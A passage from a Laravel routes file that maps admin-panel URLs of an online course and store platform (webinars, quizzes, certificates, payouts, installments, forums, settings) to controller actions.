'TrendCategoriesController@destroy'); }); }); Route::group(['prefix' => 'filters'], function () { Route::get('/', 'FilterController@index'); Route::get('/create', 'FilterController@create'); Route::post('/store', 'FilterController@store'); Route::get('/{id}/edit', 'FilterController@edit'); Route::post('/{id}/update', 'FilterController@update'); Route::get('/{id}/delete', 'FilterController@destroy'); }); Route::group(['prefix' => 'tags'], function () { Route::get('/', 'TagController@index'); Route::get('/create', 'TagController@create'); Route::post('/store', 'TagController@store'); Route::get('/{id}/edit', 'TagController@edit'); Route::post('/{id}/update', 'TagController@update'); Route::get('/{id}/delete', 'TagController@destroy'); }); Route::group(['prefix' => 'comments/{page}'], function () { Route::get('/', 'CommentsController@index'); Route::get('/{comment_id}/toggle', 'CommentsController@toggleStatus'); Route::get('/{comment_id}/edit', 'CommentsController@edit'); Route::post('/{comment_id}/update', 'CommentsController@update'); Route::get('/{comment_id}/reply', 'CommentsController@reply'); Route::post('/{comment_id}/reply', 'CommentsController@storeReply'); Route::get('/{comment_id}/delete', 'CommentsController@delete'); Route::group(['prefix' => 'reports'], function () { Route::get('/', 'CommentsController@reports'); Route::get('/{id}/show', 'CommentsController@reportShow'); Route::get('/{id}/delete', 'CommentsController@reportDelete'); }); }); Route::group(['prefix' => 'reports'], function () { Route::get('/reasons', 'ReportsController@reasons'); Route::post('/reasons', 'ReportsController@storeReasons'); Route::get('/webinars', 'ReportsController@webinarsReports'); Route::get('/webinars/{id}/delete', 'ReportsController@delete'); Route::group(['prefix' => 'forum-topics'], function () { Route::get('/', 'ForumTopicReportsController@index'); Route::get('/{id}/delete', 'ForumTopicReportsController@delete'); }); }); Route::group(['prefix' => 'webinars'], function () { Route::get('/', 'WebinarController@index'); Route::get('/create', 'WebinarController@create'); Route::post('/store', 'WebinarController@store'); Route::get('/{id}/edit', 'WebinarController@edit'); Route::post('/{id}/update', 'WebinarController@update'); Route::get('/{id}/delete', 'WebinarController@destroy'); Route::get('/{id}/approve', 'WebinarController@approve'); Route::get('/{id}/reject', 'WebinarController@reject'); Route::get('/{id}/unpublish', 'WebinarController@unpublish'); Route::post('/search', 'WebinarController@search'); Route::get('/excel', 'WebinarController@exportExcel'); Route::get('/{id}/students', 'WebinarController@studentsLists'); Route::get('/{id}/sendNotification', 'WebinarController@notificationToStudents'); Route::post('/{id}/sendNotification', 'WebinarController@sendNotificationToStudents'); Route::post('/add-student-to-course', 'WebinarController@addStudentToCourse'); Route::post('/order-items', 'WebinarController@orderItems'); Route::post('/{id}/getContentItemByLocale', 'WebinarController@getContentItemByLocale'); Route::get('/{id}/statistics', 'WebinarStatisticController@index'); Route::group(['prefix' => 'features'], function () { Route::get('/', 'FeatureWebinarsControllers@index'); Route::get('/create', 'FeatureWebinarsControllers@create'); Route::post('/store', 'FeatureWebinarsControllers@store'); Route::get('/{id}/edit', 'FeatureWebinarsControllers@edit'); Route::post('/{id}/update', 'FeatureWebinarsControllers@update'); Route::get('{feature_id}/{toggle}', 'FeatureWebinarsControllers@toggle'); Route::get('/excel', 'FeatureWebinarsControllers@exportExcel'); }); Route::get('/course_forums', 'CourseForumsControllers@index'); Route::group(['prefix' => '{webinar_id}/forums'], function () { Route::get('/', 'CourseForumsControllers@forums'); Route::get('/{forum_id}/edit', 'CourseForumsControllers@forumEdit'); Route::get('/{forum_id}/delete', 'CourseForumsControllers@forumDelete'); Route::post('/{forum_id}/edit', 'CourseForumsControllers@forumUpdate'); Route::get('/{forum_id}/answers', 'CourseForumsControllers@answers'); Route::get('/{forum_id}/answers/{id}/edit', 'CourseForumsControllers@answerEdit'); Route::get('/{forum_id}/answers/{id}/delete', 'CourseForumsControllers@answerDelete'); Route::post('/{forum_id}/answers/{id}/edit', 'CourseForumsControllers@answerUpdate'); }); Route::group(['prefix' => 'personal-notes'], function () { Route::get('/', 'CoursePersonalNotesController@index'); Route::get('/{id}/download-attachment', 'CoursePersonalNotesController@downloadAttachment'); Route::post('/{id}/update', 'CoursePersonalNotesController@update'); Route::get('/{id}/delete', 'CoursePersonalNotesController@delete'); }); }); Route::group(['prefix' => 'quizzes'], function () { Route::get('/', 'QuizController@index'); Route::get('/create', 'QuizController@create'); Route::post('/store', 'QuizController@store'); Route::get('/{id}/edit', 'QuizController@edit')->name('adminEditQuiz'); Route::post('/{id}/update', 'QuizController@update'); Route::get('/{id}/delete', 'QuizController@delete'); Route::get('/{id}/results', 'QuizController@results'); Route::get('/{id}/results/excel', 'QuizController@resultsExportExcel'); Route::get('/result/{result_id}/delete', 'QuizController@resultDelete'); Route::get('/excel', 'QuizController@exportExcel'); Route::post('/{id}/order-items', 'QuizController@orderItems'); }); Route::group(['prefix' => 'quizzes-questions'], function () { Route::post('/store', 'QuizQuestionController@store'); Route::get('/{id}/edit', 'QuizQuestionController@edit'); Route::get('/{id}/getQuestionByLocale', 'QuizQuestionController@getQuestionByLocale'); removeContentLocale(); Route::post('/{id}/update', 'QuizQuestionController@update'); Route::get('/{id}/delete', 'QuizQuestionController@destroy'); }); Route::group(['prefix' => 'filters'], function () { Route::get('/get-by-category-id/{categoryId}', 'FilterController@getByCategoryId'); }); Route::group(['prefix' => 'tickets'], function () { Route::post('/store', 'TicketController@store'); Route::post('/{id}/edit', 'TicketController@edit'); Route::post('/{id}/update', 'TicketController@update'); Route::get('/{id}/delete', 'TicketController@destroy'); }); Route::group(['prefix' => 'chapters'], function () { Route::get('/{id}', 'ChapterController@getChapter'); Route::get('/getAllByWebinarId/{webinar_id}', 'ChapterController@getAllByWebinarId'); Route::post('/store', 'ChapterController@store'); Route::post('/{id}/edit', 'ChapterController@edit'); Route::post('/{id}/update', 'ChapterController@update'); Route::get('/{id}/delete', 'ChapterController@destroy'); Route::post('/change', 'ChapterController@change'); }); Route::group(['prefix' => 'sessions'], function () { Route::post('/store', 'SessionController@store'); Route::post('/{id}/edit', 'SessionController@edit'); Route::post('/{id}/update', 'SessionController@update'); Route::get('/{id}/delete', 'SessionController@destroy'); }); Route::group(['prefix' => 'files'], function () { Route::post('/store', 'FileController@store'); Route::post('/{id}/edit', 'FileController@edit'); Route::post('/{id}/update', 'FileController@update'); Route::get('/{id}/delete', 'FileController@destroy'); }); Route::group(['prefix' => 'text-lesson'], function () { Route::post('/store', 'TextLessonsController@store'); Route::post('/{id}/edit', 'TextLessonsController@edit'); Route::post('/{id}/update', 'TextLessonsController@update'); Route::get('/{id}/delete', 'TextLessonsController@destroy'); }); Route::group(['prefix' => 'assignments'], function () { Route::get('/', 'AssignmentController@index'); Route::get('/{id}/students', 'AssignmentController@students'); Route::get('/{assignmentId}/history/{historyId}/conversations', 'AssignmentController@conversations'); Route::post('/store', 'AssignmentController@store'); Route::post('/{id}/edit', 'AssignmentController@edit'); Route::post('/{id}/update', 'AssignmentController@update'); Route::get('/{id}/delete', 'AssignmentController@destroy'); }); Route::group(['prefix' => 'prerequisites'], function () { Route::post('/store', 'PrerequisiteController@store'); Route::post('/{id}/edit', 'PrerequisiteController@edit'); Route::post('/{id}/update', 'PrerequisiteController@update'); Route::get('/{id}/delete', 'PrerequisiteController@destroy'); }); Route::group(['prefix' => 'relatedCourses'], function () { Route::get('/get-form', 'RelatedCoursesController@getForm'); Route::post('/store', 'RelatedCoursesController@store'); Route::get('/{id}/edit', 'RelatedCoursesController@getForm'); Route::post('/{id}/update', 'RelatedCoursesController@update'); Route::get('/{id}/delete', 'RelatedCoursesController@destroy'); }); Route::group(['prefix' => 'faqs'], function () { Route::post('/store', 'FAQController@store'); Route::post('/{id}/description', 'FAQController@description'); Route::post('/{id}/edit', 'FAQController@edit'); Route::post('/{id}/update', 'FAQController@update'); Route::get('/{id}/delete', 'FAQController@destroy'); }); Route::group(['prefix' => 'webinar-extra-description'], function () { Route::post('/store', 'WebinarExtraDescriptionController@store'); Route::post('/{id}/edit', 'WebinarExtraDescriptionController@edit'); Route::post('/{id}/update', 'WebinarExtraDescriptionController@update'); Route::get('/{id}/delete', 'WebinarExtraDescriptionController@destroy'); }); Route::group(['prefix' => 'webinar-quiz'], function () { Route::post('/store', 'WebinarQuizController@store'); Route::post('/{id}/edit', 'WebinarQuizController@edit'); Route::post('/{id}/update', 'WebinarQuizController@update'); Route::get('/{id}/delete', 'WebinarQuizController@destroy'); }); Route::group(['prefix' => 'certificates'], function () { Route::get('/', 'CertificateController@index'); Route::get('/excel', 'CertificateController@exportExcel'); Route::group(['prefix' => 'templates'], function () { Route::get('/', 'CertificateController@CertificatesTemplatesList'); Route::get('/new', 'CertificateController@CertificatesNewTemplate'); Route::post('/store', 'CertificateController@CertificatesTemplateStore'); Route::post('/preview', 'CertificateController@CertificatesTemplatePreview'); Route::get('/{template_id}/edit', 'CertificateController@CertificatesTemplatesEdit'); Route::post('/{template_id}/update', 'CertificateController@CertificatesTemplateStore'); Route::get('/{template_id}/delete', 'CertificateController@CertificatesTemplatesDelete'); }); Route::get('/{id}/download', 'CertificateController@CertificatesDownload'); Route::group(['prefix' => 'course-competition'], function () { Route::get('/', 'WebinarCertificateController@index'); Route::get('/{certificate_id}/show', 'WebinarCertificateController@show'); }); Route::group(['prefix' => 'settings'], function () { Route::get('/', 'CertificateController@settings'); Route::post('/', 'CertificateController@storeSettings'); }); }); Route::group(['prefix' => 'reviews'], function () { Route::get('/', 'ReviewsController@index'); Route::get('/{id}/toggleStatus', 'ReviewsController@toggleStatus'); Route::get('/{id}/reply', 'ReviewsController@reply'); Route::get('/{id}/delete', 'ReviewsController@delete'); }); Route::group(['prefix' => 'consultants'], function () { Route::get('/', 'ConsultantsController@index'); Route::get('/excel', 'ConsultantsController@exportExcel'); }); Route::group(['prefix' => 'appointments'], function () { Route::get('/', 'AppointmentsController@index'); Route::get('/{id}/join', 'AppointmentsController@join'); Route::get('/{id}/getReminderDetails', 'AppointmentsController@getReminderDetails'); Route::get('/{id}/sendReminder', 'AppointmentsController@sendReminder'); Route::get('/{id}/cancel', 'AppointmentsController@cancel'); }); Route::group(['prefix' => 'blog'], function () { Route::get('/', 'BlogController@index'); Route::get('/create', 'BlogController@create'); Route::post('/store', 'BlogController@store'); Route::post('/search', 'BlogController@search'); Route::get('/{id}/edit', 'BlogController@edit'); Route::post('/{id}/update', 'BlogController@update'); Route::get('/{id}/delete', 'BlogController@delete'); Route::group(['prefix' => 'categories'], function () { Route::get('/', 'BlogCategoriesController@index'); Route::post('/store', 'BlogCategoriesController@store'); Route::get('/{id}/edit', 'BlogCategoriesController@edit'); Route::post('/{id}/update', 'BlogCategoriesController@update'); Route::get('/{id}/delete', 'BlogCategoriesController@delete'); }); }); Route::group(['prefix' => 'financial'], function () { Route::group(['prefix' => 'sales'], function () { Route::get('/', 'SaleController@index'); Route::get('/{id}/refund', 'SaleController@refund'); Route::get('/{id}/invoice', 'SaleController@invoice'); Route::get('/export', 'SaleController@exportExcel'); }); Route::group(['prefix' => 'payouts'], function () { Route::get('/', 'PayoutController@index'); Route::get('/{id}/reject', 'PayoutController@reject'); Route::get('/{id}/payout', 'PayoutController@payout'); Route::get('/excel', 'PayoutController@exportExcel'); }); Route::group(['prefix' => 'offline_payments'], function () { Route::get('/', 'OfflinePaymentController@index'); Route::get('/excel', 'OfflinePaymentController@exportExcel'); Route::get('/{id}/reject', 'OfflinePaymentController@reject'); Route::get('/{id}/approved', 'OfflinePaymentController@approved'); }); Route::group(['prefix' => 'discounts'], function () { Route::get('/', 'DiscountController@index'); Route::get('/new', 'DiscountController@create'); Route::post('/store', 'DiscountController@store'); Route::get('/{id}/edit', 'DiscountController@edit'); Route::post('/{id}/update', 'DiscountController@update'); Route::get('/{id}/delete', 'DiscountController@destroy'); }); Route::group(['prefix' => 'special_offers'], function () { Route::get('/', 'SpecialOfferController@index'); Route::get('/new', 'SpecialOfferController@create'); Route::post('/store', 'SpecialOfferController@store'); Route::get('/{id}/edit', 'SpecialOfferController@edit'); Route::post('/{id}/update', 'SpecialOfferController@update'); Route::get('/{id}/delete', 'SpecialOfferController@destroy'); }); Route::group(['prefix' => 'documents'], function () { Route::get('/', 'DocumentController@index'); Route::get('/new', 'DocumentController@create'); Route::post('/store', 'DocumentController@store'); Route::get('/{id}/print', 'DocumentController@printer'); }); Route::group(['prefix' => 'subscribes'], function () { Route::get('/', 'SubscribesController@index'); Route::get('/new', 'SubscribesController@create'); Route::post('/store', 'SubscribesController@store'); Route::get('/{id}/edit', 'SubscribesController@edit'); Route::post('/{id}/update', 'SubscribesController@update'); Route::get('/{id}/delete', 'SubscribesController@delete'); }); Route::group(['prefix' => 'promotions'], function () { Route::get('/', 'PromotionsController@index'); Route::get('/new', 'PromotionsController@create'); Route::get('/sales', 'PromotionsController@sales'); Route::post('/store', 'PromotionsController@store'); Route::get('/{id}/edit', 'PromotionsController@edit'); Route::post('/{id}/update', 'PromotionsController@update'); Route::get('/{id}/delete', 'PromotionsController@delete'); }); Route::group(['prefix' => 'registration-packages'], function () { Route::get('/', 'RegistrationPackagesController@index')->name('adminRegistrationPackagesLists'); Route::get('/new', 'RegistrationPackagesController@create'); Route::post('/store', 'RegistrationPackagesController@store'); Route::get('/{id}/edit', 'RegistrationPackagesController@edit'); Route::post('/{id}/update', 'RegistrationPackagesController@update'); Route::get('/{id}/delete', 'RegistrationPackagesController@delete'); Route::get('/settings', 'RegistrationPackagesController@settings'); Route::get('/reports', 'RegistrationPackagesController@reports'); }); Route::group(['prefix' => 'installments'], function () { Route::get('/', 'InstallmentsController@index'); Route::get('/create', 'InstallmentsController@create'); Route::post('/store', 'InstallmentsController@store'); Route::get('/{id}/edit', 'InstallmentsController@edit'); Route::post('/{id}/update', 'InstallmentsController@update'); Route::get('/{id}/delete', 'InstallmentsController@delete'); Route::group(['prefix' => 'settings'], function () { Route::get('/', 'InstallmentsController@settings'); Route::post('/', 'InstallmentsController@storeSettings'); }); Route::group(['prefix' => 'orders'], function () { Route::get('/{id}/details', 'InstallmentsController@details'); Route::get('/{id}/cancel', 'InstallmentsController@cancel'); Route::get('/{id}/refund', 'InstallmentsController@refund'); Route::get('/{id}/approve', 'InstallmentsController@approve'); Route::get('/{id}/reject', 'InstallmentsController@reject'); Route::get('/{id}/attachments/{attachment_id}/download', 'InstallmentsController@downloadAttachment'); }); Route::get('/purchases', 'InstallmentsController@purchases'); Route::get('/purchases/export', 'InstallmentsController@purchasesExportExcel'); Route::get('/overdue', 'InstallmentsController@overdueLists'); Route::get('/overdue/export', 'InstallmentsController@overdueListsExportExcel'); Route::get('/overdue_history', 'InstallmentsController@overdueHistories'); Route::get('/overdue_history/export', 'InstallmentsController@overdueHistoriesExportExcel'); Route::get('/verification_requests', 'InstallmentsController@verificationRequests'); Route::get('/verified_users', 'InstallmentsController@verifiedUsers'); Route::get('/verified_users/export', 'InstallmentsController@verifiedUsersExportExcel'); }); }); Route::group(['prefix' => 'advertising'], function () { Route::group(['prefix' => 'banners'], function () { Route::get('/', 'AdvertisingBannersController@index'); Route::get('/new', 'AdvertisingBannersController@create'); Route::post('/store', 'AdvertisingBannersController@store'); Route::get('/{id}/edit', 'AdvertisingBannersController@edit'); Route::post('/{id}/update', 'AdvertisingBannersController@update'); Route::get('/{id}/delete', 'AdvertisingBannersController@delete'); }); }); Route::group(['prefix' => 'newsletters'], function () { Route::get('/', 'NewslettersController@index'); Route::get('/send', 'NewslettersController@send'); Route::post('/send', 'NewslettersController@sendNewsletter'); Route::get('/history', 'NewslettersController@history'); Route::get('/{id}/delete', 'NewslettersController@delete'); Route::get('/excel', 'NewslettersController@exportExcel'); }); Route::group(['prefix' => 'referrals'], function () { Route::get('/history', 'ReferralController@history'); Route::get('/users', 'ReferralController@users'); Route::get('/excel', 'ReferralController@exportExcel'); }); Route::group(['prefix' => 'additional_page'], function () { Route::group(['prefix' => '/navbar_links'], function () { Route::get('/', 'NavbarLinksSettingsController@index'); Route::post('/store', 'NavbarLinksSettingsController@store'); Route::get('/{key}/edit', 'NavbarLinksSettingsController@edit'); Route::get('/{key}/delete', 'NavbarLinksSettingsController@delete'); }); Route::get('/{name}', 'AdditionalPageController@index'); Route::post('/{name}', 'AdditionalPageController@store'); Route::post('/footer/store', 'AdditionalPageController@storeFooter'); }); Route::group(['prefix' => 'settings'], function () { Route::get('/', 'SettingsController@index'); Route::group(['prefix' => 'personalization'], function () { Route::group(['prefix' => 'navbar_button'], function () { Route::get('/', 'SettingsController@navbarButtonSettings'); Route::get('/{id}/edit', 'SettingsController@navbarButtonSettingsEdit'); Route::post('/', 'SettingsController@storeNavbarButtonSettings'); Route::get('/{id}/delete', 'SettingsController@navbarButtonSettingsDelete'); }); Route::group(['prefix' => 'home_sections'], function () { Route::get('/', 'HomeSectionSettingsController@index'); Route::post('/', 'HomeSectionSettingsController@store'); Route::get('/{id}/delete', 'HomeSectionSettingsController@delete'); Route::post('/sort', 'HomeSectionSettingsController@sort'); }); Route::group(['prefix' => 'statistics'], function () { Route::get('/', 'StatisticSettingsController@index'); Route::post('/', 'StatisticSettingsController@store'); Route::get('/get-form', 'StatisticSettingsController@getForm'); Route::post('/storeItem', 'StatisticSettingsController@storeItem'); Route::get('/{id}/editItem', 'StatisticSettingsController@editItem'); Route::post('/{id}/updateItem', 'StatisticSettingsController@updateItem'); Route::get('/{id}/deleteItem', 'StatisticSettingsController@deleteItem'); Route::post('/sort', 'StatisticSettingsController@sort'); }); Route::get('/{name}', 'SettingsController@personalizationPage'); }); Route::group(['prefix' => 'update-app'], function () { Route::get('/', 'UpdateController@index'); Route::post('/basic', 'UpdateController@basicUpdate'); Route::post('/custom-update', 'UpdateController@customUpdate'); Route::post('/database', 'UpdateController@databaseUpdate'); }); Route::get('/reset-users-login-count', 'SettingsController@resetUsersLoginCount'); Route::get('/{page}', 'SettingsController@page'); Route::post('/{name}', 'SettingsController@store'); Route::post('/seo_metas/store', 'SettingsController@storeSeoMetas'); Route::post('/notifications/store', 'SettingsController@notificationsMetas'); /* Currency */ Route::group(['prefix' => "/financial/currency"], function () { Route::post('/', 'SettingsController@financialCurrencyStore'); Route::get('/{id}/edit', 'SettingsController@financialCurrencyEdit'); Route::get('/{id}/delete', 'SettingsController@financialCurrencyDelete'); Route::post('/order-items', 'SettingsController@financialCurrencyOrderItems'); }); /* Offline Banks */ Route::group(['prefix' => "/financial/offline_banks"], function () { Route::get('/get-form', 'SettingsController@financialOfflineBankForm'); Route::post('/store', 'SettingsController@financialOfflineBankStore'); Route::get('/{id}/edit', 'SettingsController@financialOfflineBankEdit'); Route::post('/{id}/update', 'SettingsController@financialOfflineBankUpdate'); Route::get('/{id}/delete', 'SettingsController@financialOfflineBankDelete'); }); /* User Banks */ Route::group(['prefix' => "/financial/user_banks"], function () { Route::get('/get-form', 'SettingsController@financialUserBankForm'); Route::post('/store', 'SettingsController@financialUserBankStore'); Route::get('/{id}/edit', 'SettingsController@financialUserBankEdit'); Route::post('/{id}/update', 'SettingsController@financialUserBankUpdate'); Route::get('/{id}/delete', 'SettingsController@financialUserBankDelete'); }); Route::group(['prefix' => '/socials'], function () { Route::post('/store', 'SettingsController@storeSocials'); Route::get('/{key}/edit', 'SettingsController@editSocials'); Route::get('/{key}/delete', 'SettingsController@deleteSocials'); }); Route::group(['prefix' => 'payment_channels'], function () { Route::get('/', 'PaymentChannelController@index'); Route::get('/{id}/toggleStatus', 'PaymentChannelController@toggleStatus'); Route::get('/{id}/edit', 'PaymentChannelController@edit'); Route::post('/{id}/update', 'PaymentChannelController@update'); }); Route::post('/custom_css_js/store', 'SettingsController@storeCustomCssJs'); }); Route::group(['prefix' => 'testimonials'], function () { Route::get('/', 'TestimonialsController@index'); Route::get('/create', 'TestimonialsController@create'); Route::post('/store', 'TestimonialsController@store'); Route::get('/{id}/edit', 'TestimonialsController@edit'); Route::post('/{id}/update', 'TestimonialsController@update'); Route::get('/{id}/delete', 'TestimonialsController@delete'); }); Route::group(['prefix' => 'contacts'], function () { Route::get('/', 'ContactController@index'); Route::get('/{id}/reply', 'ContactController@reply'); Route::post('/{id}/reply', 'ContactController@storeReply'); Route::get('/{id}/delete', 'ContactController@delete'); }); Route::group(['prefix' => 'pages'], function () { Route::get('/', 'PagesController@index'); Route::get('/create', 'PagesController@create'); Route::post('/store', 'PagesController@store'); Route::get('/{id}/edit', 'PagesController@edit'); Route::post('/{id}/update', 'PagesController@update'); Route::get('/{id}/delete', 'PagesController@delete'); Route::get('/{id}/toggle', 'PagesController@statusTaggle'); }); Route::group(['prefix' => 'agora_history'], function () { Route::get('/', 'AgoraHistoryController@index'); Route::get('/excel', 'AgoraHistoryController@exportExcel'); }); Route::group(['prefix' => 'regions'], function () { Route::get('/new', 'RegionController@create'); Route::post('/store', 'RegionController@store'); Route::get('/{id}/edit', 'RegionController@edit'); Route::post('/{id}/update', 'RegionController@update'); Route::get('/{id}/delete', 'RegionController@delete'); Route::get('/provincesByCountry/{countryId}', 'RegionController@provincesByCountry'); Route::get('/citiesByProvince/{provinceId}', 'RegionController@citiesByProvince'); Route::get('/{pageType}', 'RegionController@index'); }); Route::group(['prefix' => 'rewards'], function () { Route::get('/', 'RewardController@index'); Route::get('/items', 'RewardController@create'); Route::post('/items', 'RewardController@store'); Route::get('/items/{id}', 'RewardController@edit'); Route::post('/items/{id}', 'RewardController@update'); Route::get('/items/{id}/delete', 'RewardController@delete'); Route::get('/settings', 'RewardController@settings'); Route::post('/settings', 'RewardController@storeSettings'); }); Route::group(['prefix' => 'store', 'namespace' => 'Store'], function () { Route::group(['prefix' => 'in-house-products'], function () { Route::get('/', 'ProductsController@inHouseProducts'); }); Route::group(['prefix' => 'products'], function () { Route::get('/', 'ProductsController@index'); Route::get('/create', 'ProductsController@create'); Route::post('/store', 'ProductsController@store'); Route::get('/{id}/edit', 'ProductsController@edit'); Route::post('/{id}/update', 'ProductsController@update'); Route::get('/{id}/delete', 'ProductsController@destroy'); Route::post('/{id}/getContentItemByLocale', 'ProductsController@getContentItemByLocale'); Route::post('/search', 'ProductsController@search'); Route::get('/excel', 'ProductsController@exportExcel'); Route::get('/{id}/approve', 'ProductsController@approve'); Route::get('/{id}/reject', 'ProductsController@reject'); Route::get('/{id}/unpublish', 'ProductsController@unpublish'); Route::group(['prefix' => 'files'], function () { Route::post('/store', 'ProductFileController@store'); Route::post('/{id}/edit', 'ProductFileController@edit'); Route::post('/{id}/update', 'ProductFileController@update'); Route::get('/{id}/delete', 'ProductFileController@destroy'); }); Route::group(['prefix' => 'specifications'], function () { Route::get('/{id}/get', 'ProductSpecificationController@getItem'); Route::post('/store', 'ProductSpecificationController@store'); Route::post('/{id}/update', 'ProductSpecificationController@update'); Route::get('/{id}/delete', 'ProductSpecificationController@destroy'); //Route::post('/order-items', 'ProductSpecificationController@orderItems'); Route::post('/search', 'ProductSpecificationController@search'); Route::get('/get-by-category-id/{categoryId}', 'ProductSpecificationController@getByCategoryId'); }); Route::group(['prefix' => 'faqs'], function () { Route::post('/store', 'ProductFaqController@store'); Route::post('/{id}/update', 'ProductFaqController@update'); Route::get('/{id}/delete', 'ProductFaqController@destroy'); }); Route::group(['prefix' => 'filters'], function () { Route::get('/get-by-category-id/{categoryId}', 'ProductFilterController@getByCategoryId'); }); }); Route::group(['prefix' => 'orders'], function () { Route::get('/', 'OrderController@index'); Route::get('/{id}/refund', 'OrderController@refund'); Route::get('/{id}/invoice', 'OrderController@invoice'); Route::get('/export', 'OrderController@exportExcel'); Route::get('/{id}/getProductOrder/{order_id}', 'OrderController@getProductOrder'); Route::post('/{id}/productOrder/{order_id}/setTrackingCode', 'OrderController@setTrackingCode'); }); Route::group(['prefix' => 'in-house-orders'], function () { Route::get('/', 'OrderController@inHouseOrders'); }); Route::group(['prefix' => 'sellers'], function () { Route::get('/', 'SellersController@index'); }); Route::group(['prefix' => 'categories'], function () { Route::get('/', 'CategoryController@index'); Route::get('/create', 'CategoryController@create'); Route::post('/store', 'CategoryController@store'); Route::get('/{id}/edit', 'CategoryController@edit'); Route::post('/{id}/update', 'CategoryController@update'); Route::get('/{id}/delete', 'CategoryController@destroy'); Route::post('/search', 'CategoryController@search'); }); Route::group(['prefix' => 'filters'], function () { Route::get('/', 'FilterController@index'); Route::get('/create', 'FilterController@create'); Route::post('/store', 'FilterController@store'); Route::get('/{id}/edit', 'FilterController@edit'); Route::post('/{id}/update', 'FilterController@update'); Route::get('/{id}/delete', 'FilterController@destroy'); }); Route::group(['prefix' => 'specifications'], function () { Route::get('/', 'SpecificationController@index'); Route::get('/create', 'SpecificationController@create'); Route::post('/store', 'SpecificationController@store'); Route::get('/{id}/edit', 'SpecificationController@edit'); Route::post('/{id}/update', 'SpecificationController@update'); Route::get('/{id}/delete', 'SpecificationController@destroy'); }); Route::group(['prefix' => 'discounts'], function () { Route::get('/', 'DiscountController@index'); Route::get('/create', 'DiscountController@create'); Route::post('/store', 'DiscountController@store'); Route::get('/{id}/edit', 'DiscountController@edit'); Route::post('/{id}/update', 'DiscountController@update'); Route::get('/{id}/delete', 'DiscountController@destroy'); }); Route::group(['prefix' => 'reviews'], function () { Route::get('/', 'ReviewsController@index'); Route::get('/{id}/toggleStatus', 'ReviewsController@toggleStatus'); Route::get('/{id}/reply', 'ReviewsController@reply'); Route::get('/{id}/delete', 'ReviewsController@delete'); }); Route::group(['prefix' => 'settings'], function () { Route::get('/', 'ProductsController@settings'); Route::post('/', 'ProductsController@storeSettings'); }); }); Route::group(['prefix' => 'bundles'], function () { Route::get('/', 'BundleController@index'); Route::get('/create', 'BundleController@create'); Route::post('/store', 'BundleController@store'); Route::get('/{id}/edit', 'BundleController@edit'); Route::post('/{id}/update', 'BundleController@update'); Route::get('/{id}/delete', 'BundleController@destroy'); Route::post('/search', 'BundleController@search'); Route::get('/excel', 'BundleController@exportExcel'); Route::get('/{id}/approve', 'BundleController@approve'); Route::get('/{id}/reject', 'BundleController@reject'); Route::get('/{id}/unpublish', 'BundleController@unpublish'); Route::get('/{id}/students', 'BundleController@studentsLists'); Route::get('/{id}/sendNotification', 'BundleController@notificationToStudents'); Route::post('/{id}/sendNotification', 'BundleController@sendNotificationToStudents'); }); Route::group(['prefix' => 'bundle-webinars'], function () { Route::post('/store', 'BundleWebinarsController@store'); Route::post('/{id}/edit', 'BundleWebinarsController@edit'); Route::post('/{id}/update', 'BundleWebinarsController@update'); Route::get('/{id}/delete', 'BundleWebinarsController@destroy'); }); Route::group(['prefix' => 'forums'], function () { Route::get('/', 'ForumController@index'); Route::get('/create', 'ForumController@create'); Route::post('/store', 'ForumController@store'); Route::get('/{id}/edit', 'ForumController@edit'); Route::post('/{id}/update', 'ForumController@update'); Route::get('/{id}/delete', 'ForumController@destroy'); Route::post('/search', 'ForumController@search'); Route::group(['prefix' => 'topics'], function () { Route::post('/search', 'ForumController@searchTopics'); Route::get('/create', 'ForumTopicsController@create'); Route::post('/store', 'ForumTopicsController@store'); }); Route::group(['prefix' => '{id}/topics'], function () { Route::get('/', 'ForumTopicsController@index'); Route::get('/{topic_id}/edit', 'ForumTopicsController@edit'); Route::post('/{topic_id}/update', 'ForumTopicsController@update'); Route::post('/{topic_id}/closeToggle', 'ForumTopicsController@closeToggle'); Route::get('/{topic_id}/close', 'ForumTopicsController@close'); Route::get('/{topic_id}/open', 'ForumTopicsController@open'); Route::get('/{topic_id}/delete', 'ForumTopicsController@delete'); Route::group(['prefix' => '{topic_id}/posts'], function () { Route::get('/', 'ForumTopicsController@posts'); Route::post('/', 'ForumTopicsController@storePost'); Route::get('/{post_id}/edit', 'ForumTopicsController@postEdit'); Route::post('/{post_id}/edit', 'ForumTopicsController@postUpdate'); Route::post('/{post_id}/un_pin', 'ForumTopicsController@postUnPin'); Route::post('/{post_id}/pin', 'ForumTopicsController@postPin'); Route::get('/{post_id}/delete', 'ForumTopicsController@postDelete'); }); }); }); Route::group(['prefix' => 'featured-topics'], function () { Route::get('/', 'FeaturedTopicsController@index'); Route::get('/create', 'FeaturedTopicsController@create'); Route::post('/store', 'FeaturedTopicsController@store'); Route::get('/{id}/edit', 'FeaturedTopicsController@edit'); Route::post('/{id}/update', 'FeaturedTopicsController@update'); Route::get('/{id}/delete', 'FeaturedTopicsController@destroy'); }); Route::group(['prefix' => 'recommended-topics'], function () { Route::get('/', 'RecommendedTopicsController@index'); Route::get('/create', 'RecommendedTopicsController@create'); Route::post('/store', 'RecommendedTopicsController@store'); Route::get('/{id}/edit', 'RecommendedTopicsController@edit'); Route::post('/{id}/update', 'RecommendedTopicsController@update'); Route::get('/{id}/delete', 'RecommendedTopicsController@destroy'); }); Route::group(['prefix' => 'advertising_modal'], function () { Route::get('/', 'AdvertisingModalController@index'); Route::post('/', 'AdvertisingModalController@store'); }); Route::group(['prefix' => 'floating_bars'], function () { Route::get('/', 'FloatingBarController@index'); Route::post('/', 'FloatingBarController@store'); }); Route::group(['prefix' => 'enrollments'], function () { Route::get('/history', 'EnrollmentController@history'); Route::get('/add-student-to-class', 'EnrollmentController@addStudentToClass'); Route::post('/store', 'EnrollmentController@store'); Route::get('/{sale_id}/block-access', 'EnrollmentController@blockAccess'); Route::get('/{sale_id}/enable-access', 'EnrollmentController@enableAccess'); Route::get('/export', 'EnrollmentController@exportExcel'); }); Route::group(['prefix' => 'upcoming_courses'], function () { Route::get('/', 'UpcomingCoursesController@index'); Route::get('/new', 'UpcomingCoursesController@create'); Route::post('/store', 'UpcomingCoursesController@store'); Route::get('/{id}/edit', 'UpcomingCoursesController@edit'); Route::post('/{id}/update', 'UpcomingCoursesController@update'); Route::get('/{id}/delete', 'UpcomingCoursesController@destroy'); Route::get('/{id}/approve', 'UpcomingCoursesController@approve'); Route::get('/{id}/reject', 'UpcomingCoursesController@reject'); Route::get('/{id}/unpublish', 'UpcomingCoursesController@unpublish'); Route::post('/search', 'UpcomingCoursesController@search'); Route::group(['prefix' => '/{id}/followers'], function () { Route::get('/', 